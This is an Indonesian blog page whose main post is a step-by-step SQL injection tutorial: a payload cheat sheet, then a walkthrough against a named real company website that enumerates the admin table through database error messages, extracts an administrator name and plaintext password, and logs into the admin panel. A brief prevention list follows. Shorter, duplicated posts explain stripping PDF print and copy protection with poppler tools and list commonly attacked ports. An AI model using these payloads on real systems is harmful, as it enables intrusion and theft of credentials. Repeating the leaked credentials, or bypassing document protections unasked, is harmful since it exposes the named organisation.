Akhir-akhir ini, kawan sering mendengar istilah "SQL Injection" ?
kawan tahu betapa berbahaya bug yang satu ini ?
Berikut akan kita sajikan step by step SQL Injection ini.
Berbagai syntax yang bisa kita gunakan:
untuk menginject suatu website (jika emang bisa diinject).
Oke, lets’ begin
Syntax SQL Injection
1. Commenting out.
Gunanya untuk mengakhiri suatu query, bypass query.
+ SQL Server
Syntax: –
Penggunaan: DROP namatabel;–
+ MySQL
Syntax: #
Penggunaan: DROP namatabel;#
Contoh penggunaan in real life:
* Username: admin’–
* Proses query yang terjadi di server:
SELECT * FROM userlist WHERE username=’admin’–’ AND password=’password’;
Query ini akan memberikan km akses sebagai admin karena query selanjutnya setelah — akan diabaikan
2. Inline comment
Gunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass script proteksi
+ SQL Server (MySQL juga bisa)
Syntax: /*Comment*/
Penggunaan: DROP/*comment*/namatabel
atau: DR/**/OP/*bypass proteksi*/namatabel
atau: SELECT/*menghindari-spasi*/password/**/FROM/**/userlist
+ MySQL (mendeteksi versi)
Syntax: /*!MYSQL Special SQL*/
Penggunaan: SELECT /*!32302 1/0,*/1 FROM namatabel
Note: Syntax juga bisa digunakan jika versi MySQL lebih tinggi dari 3.23.02 (sesuai query), tidak berfungsi untuk versi dibawahnya
3. Staking queries
Gunanya untuk menyambung 2 buah query dalam 1 transaksi.
+ SQL Server
Syntax: ;
Penggunaan: SELECT * FROM namatabel; DROP namatabel–
4. Pernyataan IF
Ini kunci jika melakukan Blind SQL Injection, juga berguna untuk testing sesuatu yang ga jelas secara akurat
+ SQL Server
Syntax: IF kondisi bagian-true ELSE bagian-false
Penggunaan: IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’
+ MySQL
Syntax: IF(kondisi,bagian-true,bagian-false)
Penggunaan: SELECT IF(1=1,’true’,’false’)
5. Operasi String
Gunanya untuk bypass proteksi
+ SQL Server
Syntax: +
Penggunaan: SELECT login + ‘-’ + password FROM userlist
+ MySQL Server
Syntax: ||
Penggunaan: SELECT login || ‘-’ || password FROM userlist
Note: Jika MySQL server dalam mode ANSI syntax berfunsi. Cara lain adalah dengan menggunakan fungsi CONCAT() dalam MySQL.
Syntax: CONCAT(str1,str2,str3,…)
Penggunaan: SELECT CONCAT(login,password) FROM userlist
6. Union Injection
Gunanya menggabungkan 2 tabel yang berbeda dengan syarat tabel itu harus sama jumlah kolomnya.
Syntax: UNION
Penggunaan: ‘ UNION SELECT * FROM namatabel
atau: ‘ UNION ALL SELECT * FROM namatabel
atau: ‘ UNION SELECT kolom1,kolom2 FROM namatabel
Proses yang terjadi dalam query:
SELECT * FROM user WHERE id=’1′ UNION SELECT kolom1,kolom2 FROM namatabel
Jika tabel tersebut mempunyai kolom yang berbeda, maka dapat ditambahkan null atau 1
Penggunaan: ‘ UNION SELECT 1,kolom1,kolom2 FROM namatabel
Kurang lebih gitu kawan, kita lanjut lagi ke step by stepnya. Jangan malas baca ya, karena itu yang membuat kita selalu ketinggalan.
====================================================================================
Catatan kawan: Di baris berikutnya ini kita akan membatasi bahasan pada SQL Injection
di MS-SQL Server.
Kita akan mengambil contoh di site www.pln-wilkaltim.co.id
kawan dua kelemahan di site ini, yaitu:
1. Tabel News
2. Tabel Admin
Langkah pertama, kita tentukan lubang mana yang bisa di-inject
dengan jalan berjalan-jalan (enumeration) dulu di site tsb.
Kita akan menemukan 2 model cara input parameter, yaitu dengan
cara memasukkan lewat input box dan memasukkannya lewat
alamat URL.
Kita ambil yang termudah dulu, dengan cara input box.
Kemudian kita cari kotak login yang untuk admin.
Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp
Langkah pertama untuk menentukan nama tabel dan fieldnya,
kita inject kotak NIP dengan perintah (password terserah, cabang
biarkan aja):
' having 1=1--
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda
minus dobel (penting).
Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection
di www.neoteker.or.id.
Kemudian akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NOMOR' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR
Kemudian kita akan mencari nama field-field berikutnya,
beserta nama tabel yang mungkin berbeda-beda.
Kita inject di kotak NIP (password terserah):
' group by T_ADMIN.NOMOR having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NIP' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP
Kemudian kita cari field ke tiga :
' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.PASSWORD' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Catat field ke tiga : T_ADMIN.PASSWORD
Lakukan langkah di atas sampai kita menemukan field terakhir.
Berikut adalah pesan error yang terjadi, jika kita mengecek
field terakhir dengan meng-inject:
' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL
having 1=1--
(catatan : kalimat harus 1 baris, tidak dipotong)
--------------------
- NIP atau Password atau Unit Anda salah !! -
--------------------
Sukses !!! Kita berhasil menemukan field terakhir.
Daftar kolom (field):
T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),
ini akan mempermudah proses kita selanjutnya.
Langkah berikutnya, kita menentukan jenis struktur field-
field tersebut di atas.
Kita inject di kotak NIP (pass terserah) :
' union select sum(NOMOR) from T_ADMIN--
Arti dari query tersebut adalah : kita coba menerapkan
klausa sum sebelum menentukan apakah jumlah kolom-kolom
di dua rowsets adalah sejenis.
Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)
yang berlaku untuk type kolom numerik, jadi untuk type kolom
yang bukan numerik, akan keluar error yang bisa memberitahu
kita jenis kolom yang dimaksud.
Pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries
in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.
/sipm/admin/dologin.asp, line 7
--------------------
artinya kolom NOMOR berjenis numerik.
Berikutnya kita inject :
' union select sum(NIP) from T_ADMIN--
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum
or average aggregate operation cannot take a char data
type as an argument.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya kolom NIP bertype char.
Kita harus mengulang perintah di atas untuk kolom yang
berikutnya dengan jalan mengganti nama_kolom di :
' union select sum(nama_kolom) from T_ADMIN--
dengan kolom yang berikutnya.
Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char
Langkah berikutnya, kita akan mencari isi kolom password,
untuk user admin, dengan meng-inject :
' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--
artinya kita memilih minimum nama user yang lebih besar dari 'a'
dan mencoba meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom yang lain.
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'bill ' to
a column of data type int.
/sipm/admin/dologin.asp, line 7
--------------------
Anda lihat :
varchar value 'bill '
'bill' itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record yang terakhir dimasukkan.
Selanjutnya kita inject :
' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where
NAMA = 'bill'--
catatan : harus sebaris (tidak dipotong).
Akan keluar error :
---------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value 'm@mpusk@u' to a
column of data type int.
/sipm/admin/dologin.asp, line 7
---------------------
Artinya kita berhasil !!!
Kita dapatkan
[+] NAMA = bill
[+] PASSWORD = m@mpusk@u
Silahkan kawan login ke :
www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan kawan
isi sendiri dengan cara coba-coba
Atau kita pakai jalan pintas saja....
Kita inject-kan :
' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN
where NAMA ='bill'--
catatan : harus satu baris.
Duarrrrrr..........
Glhodhak.............
Langsung masuk ke menu admin.
Ingat : Kawanjangan buat kerusakan ! beritahu sang admin !!! itu pun kalau kawan berhasil masuk, heheh. Kawan harus berhati2 juga karena biasanya sistem keamanan admin mencatat segala aktifitas user yang masuk di log . . . huuu atuutt, seperti kejadian salah satu mahasiswa di kampus saya, jadinya gi mana tuh ? yaa gitu deh akses internet ke fakultas MIPA di putus selama 2 hari, yaudah kita lanjut aja lgi ya . . . kapan2 kita sambung lagi critanya, waktunya tutorial.
kawan lanjut Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang
lain lagi. Jadi tetep bisa kita inject !!!
Bedanya, kita harus memasukkan parameter di alamat URL-nya.
Contoh :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&idm=40&idSM=2
ada parameter id dan idSM.
Setelah kita coba inject, ternyata yang berpengaruh adalah
parameter id aja (CMIIW).
Kita inject-kan :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1--
akan keluar pesan error :
---------------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'tb_news.NewsId' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/dari_Media.asp, line 58
---------------------------
artinya 'tb_news.NewsId' itulah nama tabel dan kolom kita
yang pertama kawan.
Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime
Nah, selanjutnya adalah tugas kawan sendiri untuk mengembangkan
pengetahuan kawan, yang terpenting adalah membaca.
kawan bisa men-insert berita yang bisa anda tentukan sendiri
isinya.
Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.
Perkiraan saya, nama-nama partai di situs KPU yang di-hack
oleh Shizoprenic, juga ada di tabel-tabel suatu database,
jadi tetep bisa dimasuki dengan cara SQL Injection ini.
keliatannya kerenkan ?
tp sulit, kita hrus memberikan waktu luang lebih untuk belajar SQL injection dari dasar.
******************************************************
KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!
******************************************************
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula
akan bingung sejenak melihat input box nya gak bisa di
inject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan
tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,
Extended Stored Procedures jika memungkinkan.
5. Ubah "Startup and run SQL Server" menggunakan low privilege user
di SQL Server Security tab.
Yah itulah mungkin yang dapat saya ceritakan.....
Hal itu adalah gambaran kawan, betapa tidak amannya dunia internet...
Kalau mau lebih aman, kawan copot kabel jaringan kawan, copot disk
drive kawan, copot harddisk kawan, jual kompie kawan !!!
Just kidding ;)
selamat mencoba kawan.
Referensi :
[+] sqlinjection, www.BlackAngels.it
[+] anvanced sql injection in sql server applications
(www.ngssoftware.com)
[+] sql injection walktrough (www.securiteam.com)
Thursday, April 1, 2010
Membuka dan Mengubah File PDF yang Di Proteksi
Sedikit tentang Adobe Reader,
Adobe reader itu sistem keamanan aplikasinya bekerja sesuai setingan user, kalau usernya teliti dengan setingan sistem keamanan yang ada maka file PDF akan aman dan sebaliknya.
Bagaimana cara kita menembus sistem keamanan PDF yang kadang kala mengganggu kita dalam pencetakan atau tidak bisa di kopy past, contoh sederhana yang saya alami, padahal pada saat itu keadaan sangat penting, kita harus mentranslete isi file PDF tersebut ke bahasa Indonesia, karena kebetulan kita dapat file bahasa rusia tentang keamanan jaringan hehe.
Mau ga mau harus di copy past, kita msuk ke tahap membuka proteksi :
1. kamu harus punya OS linux apa aja yg penting linux, saya di sini menggunakan ubuntu 9.10
2. kita perlu poppler-utils langsung masuk ke root terlebih dahulu lalu,
$ apt-get install poppler-utils
3. Selanjutnya masuklah ke direktori tempat file PDF tersebut berada. Direktori yang digunakan dalam artikel ini adalah $HOME/Documents. Untuk melihat informasi mengenai dokumen PDF, gunakan perintah pdfinfo
$ pdfinfo options
4. Untuk menkonversi dokumen PDF ke format teks, gunakan perintah pdftotext
$ pdftotext options
5. Untuk mengkonversi PDF ke format postscript, gunakan perintah pdf2ps
$pdf2ps -dASCII85EncodePages=false -dLanguageLevel=1|2|3 input.pdf output.ps
6. Untuk mengekstraksi gambar yang berada pada dokumen tersebut, gunakan perintah pdfimages.
$ pdfimages options
7. Untuk melakukan pencetakan, yang diperlukan hanyalah aplikasi kghostview.
selesai, disini yang tadinya file PDF Acrobat Reader tidak bisa di print ataupun di copy past sudah bisa di di ubah menjadi berbagai model teks .
kghostview memang untuk membaca dokumen postscript, namun selain file ps format pdf pun dapat dibaca oleh aplikasi yang satu ini. Bagaimana jika dokumen ‘teramankan’ tadi dibuka selain menggunakan kghostview, seperti kpdf atau xpdf? kpdf tidak memberikan akses untuk mencetak dokumen.
Melakukan pencetakan dokumen lewat kghostview, sama halnya dengan aplikasi lainnya, cukup dengan mengakses menu File > Print… atau dengan shortcut Ctrl + P. Tidak akan muncul peringatan bahwa dokumen PDF diproteksi dan sebagainya dan dokumen PDF tersebut pun akan dicetak di atas kertas. Pengaturan pencetakan pun dapat dilakukan, semisal pemilihan printer yang akan digunakan, pengaturan ukuran kertas, kualitas pencetakan, halaman yang akan dicetak dan sebagainya.
Sebagai informasi, versi PDF yang digunakan dalam tutorial ini adalah 1.4.
Semoga bermanfaat kawan.
Adobe reader itu sistem keamanan aplikasinya bekerja sesuai setingan user, kalau usernya teliti dengan setingan sistem keamanan yang ada maka file PDF akan aman dan sebaliknya.
Bagaimana cara kita menembus sistem keamanan PDF yang kadang kala mengganggu kita dalam pencetakan atau tidak bisa di kopy past, contoh sederhana yang saya alami, padahal pada saat itu keadaan sangat penting, kita harus mentranslete isi file PDF tersebut ke bahasa Indonesia, karena kebetulan kita dapat file bahasa rusia tentang keamanan jaringan hehe.
Mau ga mau harus di copy past, kita msuk ke tahap membuka proteksi :
1. kamu harus punya OS linux apa aja yg penting linux, saya di sini menggunakan ubuntu 9.10
2. kita perlu poppler-utils langsung masuk ke root terlebih dahulu lalu,
$ apt-get install poppler-utils
3. Selanjutnya masuklah ke direktori tempat file PDF tersebut berada. Direktori yang digunakan dalam artikel ini adalah $HOME/Documents. Untuk melihat informasi mengenai dokumen PDF, gunakan perintah pdfinfo
$ pdfinfo options
4. Untuk menkonversi dokumen PDF ke format teks, gunakan perintah pdftotext
$ pdftotext options
5. Untuk mengkonversi PDF ke format postscript, gunakan perintah pdf2ps
$pdf2ps -dASCII85EncodePages=false -dLanguageLevel=1|2|3 input.pdf output.ps
6. Untuk mengekstraksi gambar yang berada pada dokumen tersebut, gunakan perintah pdfimages.
$ pdfimages options
7. Untuk melakukan pencetakan, yang diperlukan hanyalah aplikasi kghostview.
selesai, disini yang tadinya file PDF Acrobat Reader tidak bisa di print ataupun di copy past sudah bisa di di ubah menjadi berbagai model teks .
kghostview memang untuk membaca dokumen postscript, namun selain file ps format pdf pun dapat dibaca oleh aplikasi yang satu ini. Bagaimana jika dokumen ‘teramankan’ tadi dibuka selain menggunakan kghostview, seperti kpdf atau xpdf? kpdf tidak memberikan akses untuk mencetak dokumen.
Melakukan pencetakan dokumen lewat kghostview, sama halnya dengan aplikasi lainnya, cukup dengan mengakses menu File > Print… atau dengan shortcut Ctrl + P. Tidak akan muncul peringatan bahwa dokumen PDF diproteksi dan sebagainya dan dokumen PDF tersebut pun akan dicetak di atas kertas. Pengaturan pencetakan pun dapat dilakukan, semisal pemilihan printer yang akan digunakan, pengaturan ukuran kertas, kualitas pencetakan, halaman yang akan dicetak dan sebagainya.
Sebagai informasi, versi PDF yang digunakan dalam tutorial ini adalah 1.4.
Semoga bermanfaat kawan.
Port yang sangat sering dilakukan penetrasi (hacking)
Di bawah ini beberapa port yang sangat sering dilakukan penetrasi (hacking) oleh para peretas :
* TCP port 20 dan 21 FTP (File Transfer Protocol)
* TCP port 23 Telnet (Terminal Emulation)
* TCP port 25 SMTP (Simple Mail Transfer Protocol)
* TCP dan UDP port 53 DNS (Domain Name System)
* TCP port 80 dan 443 HTTP dan HTTPs (Hypertext Transfer Protocol)
* TCP port 110 POP3 (Post Office Protocol version 3)
* TCP dan UDP port 135 RPC
* TCP dan UDP port 137 – 139 NetBIOS over TCP/IP
* TCP dan UDP port 161 SNMP (Simple Network Management Protocol)
demikian, semoga bermanfaat sebagai antisipasi keamanan jaringan anda.
* TCP port 20 dan 21 FTP (File Transfer Protocol)
* TCP port 23 Telnet (Terminal Emulation)
* TCP port 25 SMTP (Simple Mail Transfer Protocol)
* TCP dan UDP port 53 DNS (Domain Name System)
* TCP port 80 dan 443 HTTP dan HTTPs (Hypertext Transfer Protocol)
* TCP port 110 POP3 (Post Office Protocol version 3)
* TCP dan UDP port 135 RPC
* TCP dan UDP port 137 – 139 NetBIOS over TCP/IP
* TCP dan UDP port 161 SNMP (Simple Network Management Protocol)
demikian, semoga bermanfaat sebagai antisipasi keamanan jaringan anda.
Subscribe to:
Posts (Atom)